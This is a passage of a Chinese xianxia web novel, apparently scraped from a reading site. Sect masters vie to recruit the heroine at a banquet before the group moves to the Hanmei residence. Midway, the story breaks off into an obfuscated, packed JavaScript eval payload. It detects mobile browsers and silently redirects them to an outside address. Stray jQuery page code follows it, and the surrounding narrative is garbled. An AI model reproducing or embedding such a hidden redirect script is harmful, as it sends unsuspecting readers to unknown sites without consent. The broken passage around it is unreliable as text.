“这位小友,想必就是刚刚试炼的第一名吧,你如此天资卓越,又是女子之身,不如......改拜入我天姥峰可好?”
温柔的女声伴着一股淡雅的清香迎面而来。
正吃着东西的龙清疏被声音吸引,只是轻轻一抬头,就对上了一双温柔似水的眼眸,紧接着是一张姣好的面容,这不看不要紧,一看就让人挪不开眼。
旁边的许奕恒见自家师妹半天都没说一句话,就知道——她颜控的老毛病又犯了!
为了提醒自家师妹,许奕恒只能故意咳嗽两声:“咳咳......师妹,这位是天姥峰的明玉峰主。”
在听到许奕恒的刻意提醒之后,她立马反应过来,随即站了起来,笨拙地朝着明玉行了一礼:“明......明峰主好!”
明玉温柔一笑:“你这孩子我看着甚是有趣,若是你愿意加入我天姥峰,不管是天才地宝,还是修炼资源,都应有尽有。”
她觉得这明玉峰主果真是人美心善,开出的条件和待遇都很优厚诱人呢,可是,她亦不是那厚此薄彼之人,刚想委婉拒绝,可是她终究还是慢了一步。
“二师姐,我观这位小友骨骼惊奇,倒像是更为适合修炼我虚游峰的功法,倒不如就此相让于我,如何?”
身长而又消瘦的男人在桌前站定脚步,男人的面容虽称不上有多精致,不过倒是像极了一位病弱美人。
总结:挺虚的。
许奕恒:“虚游峰,林峰峰主。”
“喂三师兄,你当众抢人可就不对了哦,再说了,我姐看上的人,只有我能抢!”这时桌前又多了一位紫衣女子。
许奕恒轻轻瞥了一眼那身着浅紫色纱裙的女子,在看清楚是谁之后,他的头莫名疼了起来,不过头疼归头疼,还是得继续为自家师妹介绍:“师妹,这位是紫蕴峰的明梓峰主。”
龙清疏看得出来,这明玉与明梓应该是亲姐妹。
周围的烛光将女人明艳的脸庞衬得越发精致几分,明梓面上含笑:“许久不见,小恒还是一如既往的贴心呢,看你们兄妹俩感情不错,不如别跟着行云了,一同来我紫韵峰,刚好,我那里还有几套特别的双修秘法哟!”
听到“双修秘法”几个字,龙清疏就想入非非了,也不知道是不是自己想的那个意思。
“啊,这这......这不好吧!”
没过一会儿,小桌前已经挤满了人。
除了掌门和下玄六峰的峰主没来凑热闹以外,其余的峰主大致都来了。
每一位峰主都开始自顾自地介绍起自家峰的具体情况。
每位峰主都很卖力地推销着自家的峰,心中一致地想——一定要把这个天才纳入麾下!
“小友,来我们峰吧!”
“小友,还是来我们峰吧,更适合你!”
“小友,他们的峰都不行,不如还是......”
“......”
人群嘈杂的声音越来越大,站在风暴中心的龙清疏也被吵得头疼。
回想起刚刚自家师兄在门外说的那一番话,她才深切地感受到,这个众星捧月到底是一种什么感觉。
看着这么一大帮子人,也不能总吊着,得想个委婉拒绝的好话术!
但......该如何说呢?
“各位师叔伯们,且听小辈一言。”
此话一出,人群嘈杂的声音变得小了几分,众人的目光渐渐落在纤尘不染的一袭白衣身上。
“这小丫头既是我简行云的徒弟,那就一直是我简行云的徒弟,除非她愿意,否则各位师叔伯们怕是带不走的。”简行云本来温柔的声音硬气了几分,就差把“护犊子”三个字写在脸上了,最后还不忘又补句话:“就算诸位不给行云这个面子,那也得给我师父一个面子吧!”
明梓被逗得直笑:“哈哈哈,要说五师弟的面子呀,还没有掌门师兄的面子值钱呢!”
简行云的额头直直冒汗,他只得干笑两声:“哈哈......四师叔,您当真还是一如既往的喜欢拆人台啊。”
龙清疏也不想让自家师父下不来台,只好自己出马:“诸位峰主无需如此,我自觉资质平庸,实在担不得诸位厚爱,比起天玄,晚辈更喜欢行云门的逍遥自在,还有师父和师兄的知遇之恩,也抵得上这世间许多珍宝了。”
见当事人都这么说,大部分的风主也不好再挖墙脚,一脸愁苦地坐回位子上,只留下原先来得最早的三位峰主。
三位峰主面色各异,将打量的目光投向简行云。
感受到复杂的目光,简行云只微微一笑:“三位师伯莫不是......还要与行云抢徒弟?”
明玉轻轻摇摇头,表示自己没这个意思,而后又欲言又止地说道:“我就是想问问你,你当真在外面......”
林峰自然地接上话茬:“在外面开宗立......”
“开宗立派了!”明梓喊得老大声,生怕别人不知道。
虽顶着在场诸位长辈的压力,可简行云还是认真地点点头。
“没错,我是在外边开宗立派不假,可行的也是光明磊落之举,而且,大比的邀请函我已收到,想必李老已经告知了你们,难道各位叔伯对我还有什么意见吗?”
明玉一向比较传统,可谓算得上一个守旧派,她犹豫了一下:“行云,你这样似乎有些......不合规矩啊。”
“二师姐,这不是不合规矩的问题,问题是我们宗好像压根就没有这个规矩。”林峰补了一句。
旁边听了半天的明梓听得一脸晕头转向的,忍不住把目光放在了正在逗弄着自家孙女的顾苍玄身上,她喊了一嗓子:“喂,咱门师兄,你说行云此举到底是合规矩还是不合规矩?”
而正在逗孙女的顾苍玄,是真的没有想到居然还有自己的事情,不过作为一派之掌,他还是得拿定一个主意。
“此事我早已知晓,既然之前都没有先例,那也未尝不可开这先河,大比的邀请函已至,也没有要回来的道理,所以行云的宗门,我们理应承认,当然不是附属宗门,而是他自己的宗门,年轻人多闯闯,总是好的,不过也需知道这天高地厚的道理。”
面对这又是欣赏又是敲打的话,简行云倒是也没多想,只恭敬行礼道:“弟子自当,谨遵掌门教诲。”
“那这届大比倒是热闹喽,竟然行云有自己的宗门了,那小恒这个首席弟子的身份,也应当再斟酌一番,不如借此大比时机,选出新的首席弟子,掌门师兄觉得可好?”明梓又说道。
站在边上的许奕恒面色如常,仿佛这件事跟他并没有什么关系。
要真说些实话,他根本不想当这个什么首席弟子,名头虽然很响,但是杂事挺多的。
顾苍玄没说什么话,倒像是在衡量此事的可行性,虽然他有些不明白,怎么好好的一个接风宴,怎么还要处理琐碎的杂事,可是作为掌门,他理应尽心尽责。
“若我天玄弟子能在这届大比入围前三,那便是新一届天玄首席弟子。”
“不错,这倒是个好主意,那就这么定了!”明梓拍手赞成。
“好了,别闹腾了,都回位置上坐好。”
顾苍玄一声令下,众人也只好回到原来的位置上。
简行云终是松了口气,幸好他刚才没一激动把澜澜的事情说出来,不然后果可想而知。
他端起桌上的茶水就一饮而尽,试图让自己跳动不安的心冷静冷静。
坐在旁边的陆聚,满脸疑惑地看着旁边这个像水牛一样喝茶的简行云。
“简师兄,你少喝点,不然晚上就睡不着喽。”
陆聚好心劝道。
简行云:“小师弟,我要的就是清醒!”
龙清疏见事情终于摆平,便舒舒服服的继续吃起了水果和茶点,却也不忘调侃身旁的师兄:“师兄,看来你的首席弟子的位置不保喽!”
“只不过是一个头衔而已,谁得到对我来说并不重要。”许奕恒一脸淡漠。
龙清疏偏不信邪:“感觉有些时候你总是淡淡的,也不知道什么东西对你来说是重要的?”
“你问这个做什么?”许奕恒问道。
“自然是......等你生日的时候,搜罗过来送给你!”龙清疏的眼睛一眨一眨的,一看就知道是在打什么鬼点子。
“那你还不如把你自己送给我。”许奕恒根本没反应过来自己到底说了些什么。
“我?”
“那个,其实我的意思是只要你的心意到就可以了,毕竟,礼轻情意重......”许奕恒越说声音越小。
“原来是这样,不过没关系,我喜欢送人礼物,所以你的生日是哪一天?”
“仙历子月十五,你呢?”
“11月15。”
两人相互注视着彼此,并且都在对方的眸子里看到了自己的模样。
是啊,他们两个倒霉蛋,可不就是过生日的时候意外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165074|196668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来到这个世界的吗?
所以,她的生日即是他的生日。
“那......你有什么喜欢的吗?”许奕恒难得别扭地问道。
“那我喜欢的东西可多了去了,吃喝玩乐,不过要说想要的是什么的话,我还是想要看一看粉白色的玫瑰花瓣雨,感觉会很浪漫......”意识到自己越说越多,她连忙止住嘴,尴尬一笑后又补充一句话:“哎呀,这些都是我开玩笑的,师兄你可千万别当真!”
许奕恒一副了然的模样:“我知道。”
两人继续聊着,没过多久接风宴也进入尾声。
顾苍玄看宴席摆的差不多了,便就此宣布此次的接风宴完美落幕。
峰主们也陆陆续续地告辞回峰,苍穹殿的殿门刚一打开,大家便鱼贯而出。
刚站起身李春风伸了个懒腰:“闹得也挺晚了,老夫我呢,就先回后山休息了,小家伙们明早见。”
侍众人一同送别李春风之后,顾苍玄也发话了:“阿聚你带着他们去寒梅居吧,为师先行一步。”
“好嘞!”陆聚看着自家师父远去的背影,转身朝众人笑道:“好了,我现在就带你们去寒梅居。”
“小师叔,寒梅居是哪里呀?”萧怀澈好奇道。
“寒梅居就是你们顾师伯以前的院子,不过现在也是我的院子。”陆聚边走边说着,就看见前方跑过来一个人影。
众人仔细一看,才发现是顾青澜。
此时的禁言咒已解,满身狼狈的顾清澜,冲了进来。
“大师兄,我正要找你呢!”陆聚上前打招呼,却被无视了。
陆聚:“......”
“行云,娇娇她在哪里,有没有事?”顾青澜的两只手死死地抓着简行云的手臂,面上的神色十分焦急。
简行云:“不是澜澜你......”
站在边上的顾娇娇摇了摇小手:“爹爹,娇娇在这。”
顾青澜一见到自家闺女家连忙把简行云放开了,他的动作很快,将小团子抱了起来,心里终是松了口气:“太好了,娇娇没事就好!”
简行云转回头看一下自家的徒弟们,给他们使了一个小眼神:果真是当局者迷,旁观者清。
这时,顾青澜现在才反应过来,自己旁边好像还有别人,略微有些尴尬,只好赶紧转移话题:“我不在的时候,那老头背着我干了些什么?”
简行云贴心的为他解惑:“也没干什么,大师伯也就是给娇娇倒水布菜,剥果喂糕而已。”
“不是,怎么跟我想的有点不太一样啊?”顾青澜感觉整个人都傻了,这还是他认识的顾苍玄吗?
“不然还能怎样?”简行云用一种看傻子的眼神看着顾青澜。
忽然一阵冷风袭来,吹的人瑟瑟发抖。
陆聚打了个冷战,哆哆嗦嗦道:“哎呀,好了,现在不是聊这个的时候,我们得赶紧回寒梅居,不然我要冷死了!”
“寒......寒梅居。”顾青澜轻轻唤着这个熟悉的名字。
......
临近冬月,空气也逐渐寒凉下来,山巅梅林中还藏着一处宽阔的院子。
此处便是,寒梅居。
陆聚领着行云门的一众人,踏入了寒梅居。
“再次回到这里,竟有几分怀念,幸好我这院子你还住着,不然怕是该荒芜了。”抱着小团子的顾青澜不禁感慨道。
陆聚毫不推辞:“那是,也不看看你小师弟是谁!”
院内的景致楼阁野趣意味十足,几株红梅已然含苞待放。
寒风裹挟着淡淡木质清香,送入人的鼻尖,很是沁人心脾。
月光之下,暗淡的池塘内,多了几分光泽。
靠池塘的一条水廊上,此时多了一盏小灯。
走在前面的龙清疏揉了揉眼睛,仔细一看才发现,拿着那盏小灯的人好像有点眼熟。
黄色暖光映照的持灯之人,俊朗无双的面容,那人眉宇间还带着些许少年人的稚气。
“师父,我还以为你不回来了,刚想出来锁上院子的门。”
少年熟悉的声音,也让龙清疏恍惚一瞬。
陆聚撇撇嘴:“我看,你小子是巴不得我不回来,算了算了,我也是懒得跟你计较,快给你两位师伯见礼!”
少年乖觉地躬身一礼:“两位师伯安好!”
陆聚笑嘻嘻道:“嘿嘿,给你们介绍一下,这是我新收的徒弟——容悦。”